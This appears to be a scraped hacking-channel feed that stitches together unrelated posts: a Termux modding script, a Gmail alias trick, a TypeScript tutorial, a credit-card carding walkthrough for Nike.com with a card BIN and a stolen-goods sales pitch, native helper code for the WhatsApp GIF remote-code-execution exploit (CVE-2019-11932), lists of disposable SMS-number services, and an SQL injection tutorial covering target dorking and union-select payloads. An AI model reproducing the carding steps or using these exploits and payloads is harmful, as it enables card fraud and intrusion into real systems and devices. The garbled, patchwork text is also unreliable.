How to modify your Termux?

*MODIFY YOUR TERMUX*

$ apt-get update -y

$ apt-get upgrade -y

$ pkg install git -y

$ git clone https://github.com/noob-hackers/T-LOAD

$ ls

$ cd T-LOAD

$ ls

$ bash t-load.sh

Now make sue that you internet connection is on and after that the installation starts automaticallyAfter the installation succesfully completes you will see a THANKS text on screen after that a new text appearsEXIT FROM TERMUX AFTER 5 SECONDS AND RE-OPEN IT after seeing this just exit from termux and re open it

Now you can see a new loading screen

To revert/to get back into normal termux mode use this commands

cd T-LOAD

ls

bash rvt.sh





Enjoy!  Follow us for more... 

How to make unlimited gMail accounts ?

🔥🔥

this method is very simple

1. You will need an valid gmail account already for this trick i'm going to say that my gmail account is this as an example: sinovians10@gmail.com

2. After you already have a valid gmail account you will need to go to this *Site:*  *https://afly.in/peCMj*

3. When you in that site you going to want to put the username of your valid gmail account for example mine will be sinovians10 without @gmail.com put that in the generator
(Just put your valid gmail on that site and click generate)

4. the site will generate tons of mails you want to use those gmails for anything you need and you will receive the messages on your valid email

all the messages people send to those generated emails i will receive it on my valid email that it is sinovians10@gmail.com so copy any of those generated email from the site and you will receive the email message on your valid gmail





Follow us for more... 

What is Typescript? A step-by-step guide to learn TypeScript.

Introducing Typescript

What is Typescript?

Typescript is a typed superset of JavaScript and was created by Microsoft in 2012 to aid Javascript developers with large-scale applications. Typescript was designed to help as a structuring mechanism for large codebases because it helps avoid common errors that would slow you down. It makes it easier for teams to work on the same project, as the language allows for modification and produces readable code. If there are multiple developers working on one project, Typescript can prevent a lot of wasted time on debugging.
This language allows us to use our Javascript skills more effectively. In fact, after you compile your code, all the Typescript stuff goes away and produces clean, cross-platform safe Javascript code. On top of being interoperable, Typescript adds unique features, including static typing, interfaces, classes, and more.

TypeScript vs. JavaScript?

Javascript is a dynamic scripting language used to make interactive web pages, so it’s not designed for complex applications. Typescript, on the other hand, is a static scripting language that is a superset of Javascript, meaning that it is an extra layer on top of your JS code. Typescript was not designed to supersede or replace Javascript. In fact, it never overrides existing behavior. It takes the existing behaviors of Javascript to correct its limitations and leverage common issues with the language.
There are many differences between Typescript and Javascript. Here are just a few:
  • TypesScript is an Object oriented programming language whereas JavaScript is a scripting language (with support for object oriented programming).
  • TypeScript has static typing whereas JavaScript does not.
  • TypeScript uses types and interfaces to describe how data is being used.
  • TypeScript has interfaces which are a powerful way to define contracts within your code.
  • TypeScript supports optional parameters for functions where JavaScript does not.

Why should I use Typescript?

There are many important benefits to using Typescript. Let’s break them down.
Typescript catches mistakes in your JavaScript code earlier on. Typescript has the ability to catch bugs and errors before runtime, so you’ll write reliable code and mitigates the pitfalls of JavaScript that are only found at runtime.
  • Transpiling allows you to generate ECMAScript, and you can specify which version of JavaScript you prefer to use. This means that you can write code that is compatible with old browsers, all while using the newest tools.
  • Typescript supports JS libraries and API documentation, including JQuery, BootStrapJS, React, and more. You can use all the familiar tools you already know, so the learning curve isn’t too bad.
  • Typescript introduces static typing to structure your code and improve object-oriented programming techniques. The static typing feature of Typescript also makes the code easier to refactor, since you can navigate to references of functions members.
  • Typescript uses NPM, which gives you access to millions of reliable libraries. This also makes it far easier to learn Typescript, as you don’t have to make custom tools to access libraries.
  • Typescript is easier to maintain. The language is generally easier to read and access. The built-in self-documentation makes it easier to check on types and objects in your code.
  • Typescript makes it easier to use React, Angular, and Vue. Typescript integrates well with these frameworks, particularly React, which has been described as a perfect fit with Typescript. The usage of Typescript is not mandatory for these frameworks, but it can add productivity and ease.

TypeScript Tutorial: A step-by-step guide to learn TypeScript

Now that you have a grasp on the basics, we’re going to teach you everything you need to know to get started with Typescript today.

Step 1: Setting up Typescript

Install TypeScript

You can get access to Typescript either by installing TS Visual Studio Plugin or using NPM (Node Package Manager).
After installing NPM, write the following command in terminal to install TS.
npm install -g typescript
To check what version you are using, run the following command line in a shell
tsc -

TypeScript Compilers

To compile TS code, we run the command tsc filename.ts. This will create a JS file of the same name, so we can eventually use it on the browser.

Keep the learning going.

Want to learn TypeScript from the best? Senior Netflix engineer and prior Microsoft Senior engineer, Patrick Desjardins, has taken his years of experience to bring you the popular course: Learn TypeScript: The Complete Course for Beginners.

Step 2: Exploring TypeScript types

Types

As the name suggests, everything in Typescript deals with types. Since Typescript is the typed version of JS, we can specify types to variables when they are declared. This makes your code more scalable and reliable, and you can check that your code runs properly before runtime.
If you’ve worked with Javascript before, you know that it has eight types: string, number, null, undefined, object, symbol, bigint, and boolean. Javascript is dynamically typed, which means that it doesn’t know the type of your variable until runtime and variables can change their type. Even if we change them intentionally, errors and bugs often arise. Typescript helps with this problem by adding static types to the code.
There are three categories of types in Typescript: anyBuilt-in, and User-defined.
  • The any type is a superset of all Typescript data types, and it is the loosest one available to us. It means that a variable can be of any type. If we use this type, it will override type checking.
  • Built-in types include number, string, boolean, undefined, null, and void.
  • User-defined types include enum, array, interface, class, and tuple.
Let’s dive into each of those a bit more and how to use Typescript types.

Assigning types

To assign a type in Typescript, you need a colon :, the name of the type, an equal sign =, and the value of that variable. Let’s look at an example.
let variableName: typeScriptType = value;  

Number

Typescript supports decimal, hexadecimal, octal, and binary literal. In Typescript, all numbers are floating-point values.
let num: number = 0.444;
let hex: number = 0xbeef;
let bin: number = 0b0010;

Boolean

Boolean values function just like they do in Javascript.
let yes: boolean = true;
let no: boolean = false;

Array

In Typescript, arrays are a collection of the same object. You can declare a typed array in two ways, either with the datatype followed by [ ], or the generic array approach with Array<elemType>.
You can also assign multiple types to one array using the | operator or create a multidimensional array to save one array into another array using the [ ] operator.
const arr3: (Date| string[])[] = [new Date(), new Date(), ["1", "a"]];

Tuple

Tuples are a lot like arrays, but we can define the type of data that are stored in each position. Tuple types enable you to make organized arrays. You can express an array when you know the type of a fixed number of elements and predefine your types in order.
let numberTuple: [number, number, number];

Void

Void is a subtype of undefined. It is a return type that can be substituted with different types when needed. Void is used when we are returning functions. It essentially tells us that a function will return undefined. This ensures that a function does not return a value.

Enum

Enums allow us to define a set of named predefined constants. These are defined with the enum keyword. You can define a numeric or a string enum.
enum MyStringEnum {
    ChoiceA = "A",
    ChoiceB = "B",
}

String

Typescript follows the same syntax of Javascript with double or single quotes around text. You can also use the backtick character to use multiple lines or the ${expression} to enable evaluated operations inside a string.
let w = "Value1";
let x = "this is a string with the value " + w;
let y = 'this is a string with the value ' + w;
let z = `this is a string ${w}`;
console.log(w,x,y,z)

Step 3: Basics of variables

Like most programming languages, we use variables to store values, such as a string, Boolean, number, or expression. In TS, we can define a variable using varlet, and const. There are some issues that arise when we use var. For example, a variable declared with var inside a function is function-scoped but global-scoped when declared outside a function. This can lead to errors in the JavaScript code.
The keyword let solves this problem by setting the variable’s lifespan at the block where it was declared. Similarly, const solves the same problem as let, but it can only be initialized once when it is declared. Typescript will make sure no value can be set.
Variables in Typescript follow similar syntactic rules as many other programming languages.
  • They can be comprised of lower and uppercase letters of the alphabet
  • They cannot begin with a digit
  • They can include special characters, such as $ or @.

Step 4: Commenting in TypeScript

Comments in TS use the same syntax as Javascript Double slash for single-line comments Slash stars to open a block of comments Star slash to close a block of comments
Typescript introduces a special syntax. If you add /*!, Typescript will keep the comment while transforming into Javascript. This enables you to keep copyright at the top of a TS file that needs to be generated in JS.
let x = 1; // This is a single line comment 
 
/* This can be spread on  
multiple  
lines */ 
let y = 2;  

Step 5: Type Inference

Type Inference is what the compiler uses to determine different types. It is smart enough to figure out types from their values. That way, you won’t have to specify your types in your code. This a powerful feature of Typescript that allows you to manipulate types and combine them.
The Typescript inference features can infer types in the following scenarios:
  • When variables are declared and initialized
  • When default values are set as parameters
  • When the function return types are determined

Step 6: Functions

Typescript does not make any major changes to the function-scoped core of Javascript. However, Typescript does enhance functions with strong signatures we can use to define parameters and return types.
We declare a function using the function keyword. You can also use the fat arrow to make a function without the keyword. This does not change with Typescript. We can use Typescript types for function arguments. We use a colon to do so. Take a look at an example:
function functionWithParameters(arg1: string, arg2: number){}
Typescript functions fall into two categories: function expressions or function declarations. A function declaration is when a function is defined by not assigning it to a variable while a function expression is assigned to a variable.
In Typescript, you can specify the type of a function with this keyword. To do so, you use the this followed by a colon, followed by the type of the function signature.

Step 7: Mapped Type

This functionality enables you to create a new type from an existing one. For example, you could have an existing interface keep all the same members but change into read-only or optional. Before the mapped type, we would have to create an extra interface to reflect the final state we want, which can pollute the code and lead to issues.
And without the mapped type, every interface would require a separate function, so things can get out of control quickly. Thanks to the custom logic of a mapped type in Typescript, we don’t have to deal with those issues.
There are different mapping functions in Typescript: partial, nullable, pick, omit, record, extract, exclude, and ReturnType.

Step 8: Objects and OOP

Typescript supports object-oriented programming and adds new features to improve upon Javascript’s OOP functionality. Typescript supports the use of classes by using the class keyword. Think of this like a template of objects. Let’s take a look at an example:
class class_Name{    
    field;    
    method;    
} 
This will generate the following JavaScript code:
// Generated by typescript 1.8.10
var Person = (function () {
   function Person() {
   }
   return Person;
}());
Typescript introduced new ways of using objects. There are many different object types in Typescript: Objectobject, and {object}. Typescript can create an object using curly brackets, and you must define its members at initialization. It’s a quicker way to organize your data, and you do not need a name since it’s not a structural language.

Step 9: Type Checking and Assertions

Let’s look at how we can check that our variable has the right type. Here are the two most common approaches.

Instanceof

This operator can check for custom types not defined by Javascript. Below, we first write a custom type, make an instance of it, and check that it is indeed the right variable.
class Dog{
 name: string;
 constructor(data: string) {
  this.name = data;
 }
}
let dog = new dog('Rover')
if(dog instanceof Dog){
 console.log(`${dog.name} is a dog`)
}
 

Typeof

This operator can check for basic datatypes. Below, we make a string variable, use the typeof command to check it against another variable and then print the result.
let myObject = { name: "test" };
let myOtherObject: typeof myObject; // Borrow type of the "myObject"
myOtherObject = { name: "test2" };
type TypeFromTypeOf = typeof myOtherObject; // Borrow 
Sometimes, we need to cast our variables to a datatype, commonly when you are using a general type and need to make it more concrete. There are a few different ways to do this. Let’s discuss two popular approaches.

As Keyword

Use the as keyword after the name of the variable and end it with the desired datatype.
let str: any = 'This is a String'
let strLength = (str as string).length

< > Operator

We can also cast our variables by using the < > operator. This has the same effect on our code but implements a simpler syntax.
let str: any = 'This is a String'
let strLength = (<string>str).length

Conclusion

Now you have a basic sense of how to use TypeScript, and you can see how it will make your Javascript code less prone to bugs. You’re ready to move on to more advanced concepts. Since Typescript is gaining more momentum in the web dev world, there are tons of great resources out there for those who want to get started and revamp their front-end career.
The most robust course for those looking to master Typescript is Learn TypeScript: The Complete Course for Beginners by Patrick Desjardins, who is a Senior Netflix engineer and former Senior Microsoft engineer with over 20 years of professional development experience. This interactive, hands-on course walks from the complete beginner to the advanced concepts of Typescript, like iterators, manipulating objects, and more. It’s a one-stop-shop for any frontend developer who wants to keep up with this must-know language.

Nike Carding Tutorial




Buy State cc or zipcc

Create an email with your drop details 

After go to Nike.com and sign up with your drop name 

Add any product you want and checkout

It will redirect you to shipping details where you have to fill it with your drop details and proceed 

Here, you will put you only the cc number, cvv and expiring date.

Scroll down there, you see use shipping address as your billing address with small box beside it, tick it and click review and then place order if cc is live you will get instant confirmation. And you sleep for your order to be delivered.

Bin: 476164


Note-Go and try instead of saying method is patched,not working.




*You can also buy Nike shoes and apple I watch and iPhone from Me at 45% of the mrp!  That's means 55% discount!*

Selling 

Nike shoes (from Nike website)

Apple I watch ( from myntra)

I phones ( from private sites)
One plus smartphone ( from gearbest,,)



Follow us for more... 

LASTEST WHATSAPP EXPLOITE



# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)

/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp
*
*/

#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>

typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;

//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
    int j;
    const char *base = (const char *)info->dlpi_addr;
    for (j = 0; j < info->dlpi_phnum; j++) {
        const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
        if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
            gadget_p = (char *) base + phdr->p_vaddr;
            return 1;
        }
    }
    return 0;
}

//system address
void* get_system_address(){
    libc = dlopen("libc.so",RTLD_GLOBAL);
    void* address = dlsym( libc, "system");
    return address;
}

//rop gadget address
void get_gadget_lib_base_address() {
    lib = dlopen("libhwui.so",RTLD_GLOBAL);
    dl_iterate_phdr(dl_callback, NULL);
}

//search gadget
long search_for_gadget_offset() {
    char *buffer;
    long filelen;
    char curChar;
    long pos = 0; int curSearch = 0;
    //reading file
    FILE* fd = fopen("/system/lib64/libhwui.so","rb");
    fseek(fd, 0, SEEK_END);
    filelen = ftell(fd);
    rewind(fd);
    buffer = (char *)malloc((filelen+1)*sizeof(char));
    fread(buffer, filelen, 1, fd);
    fclose(fd);
    //searching for bytes
    byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
    while(pos <= filelen){
        curChar = buffer[pos];pos++;
        if(curChar == g1[curSearch]){
            curSearch++;
            if(curSearch > 11){
                curSearch = 0;
                pos-=12;
                break;
            }
        }
        else{
            curSearch = 0;
        }
    }
    return pos;
}

extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
    char buff[30];
    //system address
    snprintf(buff, sizeof(buff), "%p", get_system_address());
    dlclose(libc);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}



extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
    char buff[30];
    get_gadget_lib_base_address();
    //gadget address
    snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
    dlclose(lib);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}

GET PERSONAL NUMBER FOR RECEIVING SMS

⚠️

1. Twilio.com
2. Textnow.com
3. Countrycode.org
4. Wp.pinger.com
5. Textmagic.com
6. Esendex.co.uk - (It's easy to get a trial period using a virtual number by fast registration, the package includes 25 free messages, the restriction of use in 7 days.No credit card is required.You can be counted for a personal number!)
7. Burstsms.com.au - (Similar service as the previous one, fast registration, the probe includes 14 days You do not need a credit card, so you can count as a personal number!)
8. Directsms.com.au - (You register, you get a free 30-day trial version Business sms. Personal Wirth.number!)
9. Vumber.com - (Register, receive a 14-day trial version.) Personal

PUBLIC NUMBER FOR RECEIVING SMS➖

1. Receive-sms-online.info
2. Receivefreesms.net
3. Sms-receive.net
4 . Receive-a-sms.com
5. Hs3x.com
6. Receive-sms-now.com - (There are Russian numbers)
7. Smsreceivefree.com
8. Receivesmsonline.com
9. Getsms.org - (Рус.номера)
10. Tempsms.ru - (Rus.number)
11. Numberforsms.com - (There are Russian numbers)
12. Sonetel.com
13. Smska.us - (Rus.number)
14. Sellaite.com
15. Sms.ink - (Rus.numera)
16. Proovl.com
17. Onlinesim.ru
18. Zadarma.com - (There are Russian numbers)
19. Smsc.ru - (You need to register, there are Russian and Ukrainian numbers)
20. Freevirtualnumber.skycallbd.com
21. Getfreesmsnumber.com
22. Receive-smsonline.net - Yearly design
23. Receivefreesms.com
24. Receivesmsverification.com
25 Sms-online.co
26. Ireceivesmsonline.com
27. Receive-sms-online.com - (There are a number of scores)
28. Receive-sms-free.com
29. Esendex.com.au - (Registration required)
30. Receivesmsonline .in
31. Mytrashmobile.com
32. Receivesmsonline.me
33. Anon-sms.com
34. Mfreesms.com
35. Spryng.nl - (You need to register)
36. Smsreceiveonline.com
37. Smsget.net - (Megaphone and Beeline)





Follow us for more... 

Ultimate SQL Injection Tutorial For Beginners.

1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error

based queries one is able to extract data (tables & columns) from a vulnerable system,

namely the (database).

1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the

best way around things, please believe that they aren't, everything seems nice and easy with

tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download

links for both applications around the world on hacking forums have been known to very

securely encrypt these tools with malicious files or backdoors etc, I've experienced this

first hand when I first started out. Learning everything manually will help you understand

the environment you are attempting to penetrate, whilst experimenting with commands you have

learnt will only help you become more advanced in SQL injection, as for tricks, there are

many articles named (Cheat Sheets) because this is what they are, purposely created for SQL

injectors to use commands which aren't normally spoken of or known about, Samples are

provided to allow the reader to get basic idea of a potential attack.

1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball

and learn quickly, this is because I had previous knowledge of web-scripts, how the internet

works, and the ability to read and understand complicated tutorials. I believe it's a whole

lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take

on board everything you see. When I was a beginner I found it easier to attack whilst

reading, do everything in stages, don't read the whole tutorial and go off and expect to

inject off the top of your head.

------------------------------------------------------------------------
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common

method of searching is (Dorks). Dorks are an input query into a search engine (Google) which

attempt to find websites with the given texxt provided in the dork itself. So navigate to

Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within

the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of

something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind

even I get it..

------------------------------------------------------------------------
2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the

site if it's vulnerable to SQL injection.

Example:
http://www.site.com/index.php?Client_id=23

To test, just simply add an asterik ' at the end of the URL

Example:
http://www.site.com/index.php?Client_id=23'

How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.

So if the website you're testing produces any of the above then the site is unfortunately

vulnerable, which is where the fun starts.

------------------------------------------------------------------------
2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything

manually with SQL injection, so by using the following commands (providing they're followed

correctly) you will begin to see results in no time :D

Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit

e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the

column isnt there

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR

From using order+by+ command and incremating the number each time until the page

displays an error is the easiest method to find vulnerable columns, so from the examples

above when attempting to order the columns by 4 there's an error, and so column 4 doesn't

exist, so there's 3 columns.

------------------------------------------------------------------------
2D: Finding Vulnerable Columns
Ok so let's say we were working on the site I used above, which has 3 columns. We now need

to find out which of those three coluns are vulnerable. Vulnerable columns allow us to

submit commands and queries to the SQL database through the URL. (union+select)

Selects all columns provided in the URL and returns the value of the vulnerable column e.g.

2.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

The site should refresh, not with an error but with some content missing and a number is

displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL

to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites

you are required to null the value you're injecting into.

In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order

to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23

like so: -23
So the URL should now look something like this:

wxw.site.com/index.php?Client_id=-23+union+select+1,2,3

Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2

being the vulnerable column for us to inject into.







Enjoy! Follow us for more...

How to connect to an FTP server from Linux?

To connect to an FTP server from a Linux system, you can use either a command-line FTP client or a graphical one. Here’s how to do it usin...